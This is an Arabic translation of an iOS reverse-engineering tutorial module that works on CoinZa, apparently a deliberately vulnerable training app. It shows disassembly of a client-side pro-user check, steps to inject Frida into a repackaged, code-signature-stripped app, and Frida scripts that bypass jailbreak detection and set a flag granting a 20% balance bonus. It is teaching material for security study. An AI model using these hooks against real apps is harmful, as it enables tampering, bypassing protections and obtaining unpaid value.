إذا استخدمت تطبيق CoinZa، فمن المحتمل أنك لاحظت أنه يمكنك إنشاء محافظ ويمكنك زيادة رصيدها عن طريق إدخال بطاقة ائتمان مزيفة (في الواقع لا تحتاج حتى إلى معلومات بطاقة الائتمان).- هذه المرة سوف أعرض عليك اكواد الاسمبلي لأن الـpseudo-code يصعب فهمها وتجعل من الصعب عليك إظهار ما يفعله التطبيق. افتح التطبيق في Hopper (أو Ghidra)، وابحث عن الـclass المسماة WalletDetailViewController، وحدد الـmethod المسماة didUpdateWalletBalance: وعلامة التبويب Control Flow Graph (أو CFG Mode)، هذه هي علامة التبويب بين وضع ASM ووضع Pseudo-code. ثم انظر إلى الفرع الأيسر من النتيجة:
[1] adrp x8, #0x1001ad000
[2] ldr d0, [x8, #0x2f0] ; double_value_1_2
[3] fmul d8, d8, d0
[4] ldr x0, [x8, #0x910] ; argument "instance" for method imp___stubs__objc_msgSend, objc_cls_ref_NSString,_OBJC_CLASS_$_NSString
[5] adrp x8, #0x1001f0000
[6] ldr x1, [x8, #0x500] ; argument "selector" for method imp___stubs__objc_msgSend, "stringWithFormat:",@selector(stringWithFormat:)
[7] str d8, [sp, #0x60 + var_60][8] adrp x2, #0x1001c5000 ; 0x1001c5f98@PAGE
[9] add x2, x2, #0xf98 ; 0x1001c5f98@PAGEOFF, @"Since you are a pro user we added an extra 20%% and it's on us!\\nYour balance will actually increase by US$%f."
[10] bl imp___stubs__objc_msgSend ; objc_msgSend
[11] mov x29, x29
- في التعليمة [2]، يتم تحميل قيمة 1.2 إلى d0.
- في التعليمة [3]، يمكنك رؤية تعليمة الاسمبلي fmul والتي بناءً على توثيق ARM، هي تعليمة floating-point multiplication، في هذه الحالة سوف تضاعف d0 و d8 وتخزينها في d8. d0 هي القيمة 1.2 و d8 حيث يتم تخزين القيمة الأصلية للرصيد.
- ما يمكنك الحصول عليه من هذا هو أنه إذا كانت راية isProVersion صحيحة، فسيتم زيادة الرصيد بنسبة 20٪ لأن المبلغ الأصلي مضروب في 1.2.
- في سيناريو واقعي، ستكون هذا أموالًا مجانية حرفيًا ويتم إجراء الشيك من جانب العميل، وسيكون هناك حافز جيد للغاية لاجبار التطبيق على "الاعتقاد" بأن هذا هو ProVersion.
- بينما لا تزال في Hopper (أو Ghidra) تبحث في WalletDetailViewController، حدد علامة التبويب pseudo-code وسترى شيئًا مشابهًا لهذا:
r0 = [NSUserDefaults standardUserDefaults];
r2 = @"isProVersion";
if (objc_msgSend(r0, @selector(boolForKey:)) != 0x0) {
r8 = 0x1001f0000;
r2 = @"isProVersion";
r1 = @selector(stringWithFormat:);
r2 = @"Since you are a pro user we added an extra 20%% and it's on us!\nYour balance will actually increase by US$%f.";
r0 = objc_msgSend(@class(NSString), r1);
}
- هذا يعني أن قيمة isProVersion هي قيمة bool ويتم حفظها في NSUserDefaults. تحتاج فقط إلى ضبط هذه القيمة الى "true" وستكون قادرًا على "الحصول على أموال مجانية" أو بشكل أكثر دقة، قم بتمكين pro version.
إذا كان الـjailbreak خاصتك يتضمن Cydia- يجب أن تكون جاهزًا لأنك قمت بتثبيت Frida في الوحدة الأولى.
إذا كان الـjailbreak خاصتك لا يتضمن Cydia او جهازك لا يحوي jailbreak - ستحتاج إلى القيام ببعض الخطوات الإضافية قبل أن تتمكن من البدء في استخدام Frida.
- قم بتنزيل أحدث إصدار من Frida's dynamic library (المعروفة بـ dylib) من هنا.
- إذا لم يكن لديك إصدار غير معدّل من التطبيق الذي تم فك ضغطه، فقم بفك ضغط تطبيق CoinZa.ipa:
mv CoinZa.ipa CoinZa.zip
unzip CoinZa.zip
- انسخ FridaGadget.dylib إلى المجلد /Frameworks داخل تطبيق CoinZa.
cp FridaGadget.dylib Payload/CoinZa.app/Frameworks
- انسخ أحدث إصدار من insert_dylib وقم بإنشائه باستخدام xcodebuild (تحتاج إلى تثبيت Xcode حتى يعمل):
git clone https://github.com/Tyilo/insert_dylib
cd insert_dylib
xcodebuild
- insert_dylib هي أداة سطر أوامر تتيح لك إدراج ملفات dylibs في ملفات Mach-o (على سبيل المثال تطبيقات iOS).
- بعد أن قمت بنسخ وبناء insert_dylib، الان ادرج FridaGadget.dylib:
./insert_dylib --strip-codesig --inplace '@executable_path/Frameworks/FridaGadget.dylib' Payload/CoinZa.app/CoinZa
- إذا قمت بنقل ملف insert_dylib إلى /usr/local/bin/، فستتمكن من تنفيذ الأوامر من أي مسار ودون الحاجة لبادئة /.
mv insert_dylib/build/Release/insert_dylib /usr/local/bin/insert_dylib
- قم بعمل Repackage للتطبيق:
zip -qry CoinZa-Frida.ipa Payload
- الآن يمكنك استخدام Cydia Impactor لتثبيت التطبيق على جهازك. (مثلما فعلت مع الإصدار الأصلي من CoinZa.app).
مع الانتهاء من تثبيت Frida - أول ما عليك القيام به هو نفس الخطوات التي قمت بها مع Cycript، ورفض النافذة المنبثقة وتعطيل كاشف الـjailbreak.
- افتح التطبيق على جهازك من خلال النقر على أيقونته.
- قم بتوصيل جهازك إلى جهاز الكمبيوتر الخاص بك.
- اتصل بـFrida من جهاز الكمبيوتر الخاص بك وليس هناك حاجة لـ iTunnel ، ببساطة:
- لإغلاق النافذة المنبثقة، سنستخدم الكود التالي:
var alertController = ObjC.classes.UIAlertController
ObjC.choose(alertController, {
onMatch: function (alert) {
alert.dismissViewControllerAnimated_completion_(true, NULL);
return 'stop';
},
onComplete: function () {
console.log('[+] Done dismissing annoying alert!');
}
});
- هذا الجزء من الكود يستخدم دالة ObjC.choose للتكرار على ذاكرة التطبيق وتحديد الـobjects التي تطابق توقيع ObjC.classes.UIAlertController. إنه مشابه لـCycript choose، إلا أن هذه الدالة تُرجع كل قيمة عن طريق استدعاء onMatch callback. يمكن إيقاف أداة التكرار هذه من خلال إرجاع الـstring إيقاف (stop)، وبما أنني أعرف أن هناك UIAlertController واحدة فقط انا أوقفتها بعد ظهور النتيجة الاولى.
- الخطوة التالية هي تعطيل كاشف الـjailbreak عن طريق تجاوز الـmethod المسماة[Utils isJailbroken] ، تمامًا كما فعلت مع Cycript. في Frida، هذه هي الطريقة التي تجاوزت بها القيم التي تم إرجاعها:
function bypassJailbreakDetection() {
try {
var hook = ObjC.classes.Utils['+ isJailbroken'];
Interceptor.attach(hook.implementation, {
onLeave: function(oldValue) {
_newValue = ptr("0x0") ;
oldValue.replace(_newValue);
}
});
} catch(err) {
console.log("[-] Error: " + err.message);
}
}
- يجب عليك أولاً الحصول على reference إلى الـmethod التي تريد تجاوزها، ثم في onLeave callback ستقوم بإرجاع القيمة الجديدة.
- ولوضع اللمسات الأخيرة على نفس الخطوات التي قمت بها مع Cycript، كل ما تبقى لك هو تقديم الـ InitialViewController الجديد:
function presentInitialVC() {
var storyboardClass = ObjC.classes.UIStoryboard;
var bundleClasss = ObjC.classes.NSBundle;
var navConClass = ObjC.classes.UINavigationController;
var applicationClass = ObjC.classes.UIApplication;
var storyboard = storyboardClass.storyboardWithName_bundle_('Main',bundleClasss.mainBundle());
var initialVC = storyboard.instantiateViewControllerWithIdentifier_('InitialViewController');
var navCon = navConClass.alloc().initWithRootViewController_(initialVC);
applicationClass.sharedApplication().keyWindow().rootViewController().presentViewController_animated_completion_(navCon, true, NULL);
}
- حتى هذه النقطة، كل ما قمت به هو اتباع نفس الخطوات التي اتبعتها مع Cydia ولكن مع وحدة التحكم التفاعلية لـ Frida. ولكن أمامك خطوة واحدة، تمكين الـpro version:
function setProVersion() {
var userDefaultsClass = ObjC.classes.NSUserDefaults;
userDefaultsClass.setObject_forKey_(true,'isProVersion');
}
- الآن إذا قمت بزيادة رصيد أي محفظة ستحصل على 20٪ إضافية مجانًا!
- يمكنك العثور على سكربت به جميع هذه المقتطفات معًا هنا ويمكنك تحميله من خلال Frida هكذا:
frida -U -l coinza.js CoinZa
الاستنتاجات- بالنسبة إلى غالبية الباحثين والهكر الذين قابلتهم، فإن التحليل الديناميكي هو الجزء المفضل لديهم في هذه العملية برمتها. لا أستطيع إلقاء اللوم عليهم، تنفيذ التعليمات البرمجية، إرسال البيانات، استنشاق الـtraffic عن بعد، كل هذه المهام مثيرة.
- من ناحية أخرى، آمل أن تظهر جميع هذه الحالات أهمية وجود عقلية أمنية عند تطوير تطبيقات iOS وتطبيقات الأجهزة المحمولة بشكل عام. خاصةً مثل كل المشكلات التي أظهرتها لك أثناء التحليل الستاتيكي، رأيت كل المشاكل الامنية هذه في تطبيقات العالم الحقيقي.
- بعد قضاء بعض الوقت في فهم كيفية بناء تطبيق ما، فإن الهجوم عليه في وقت تشغيله (runtime) أمر ممتع للغاية وفي بعض الحالات قد يؤدي إلى أشياء مجانية. ملاحظة: إذا وجدت مشكلة في عمليات الفحص من جانب العميل، فيرجى إبلاغ المطور(المطورين) عنها بدلاً من مجرد استغلالها لمصلحتك. ?
--------------------------
لا تنسوني ووالدي من دعائكم
بالنسبة للترجمة لم اترجم هذه الوحدة في جلسة واحدة لذلك اي عدم تناسق او تناقظ او خطأ في الترجمة يرجى اطلاعي عليه.
المصدر
https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/Module-4/README.md
|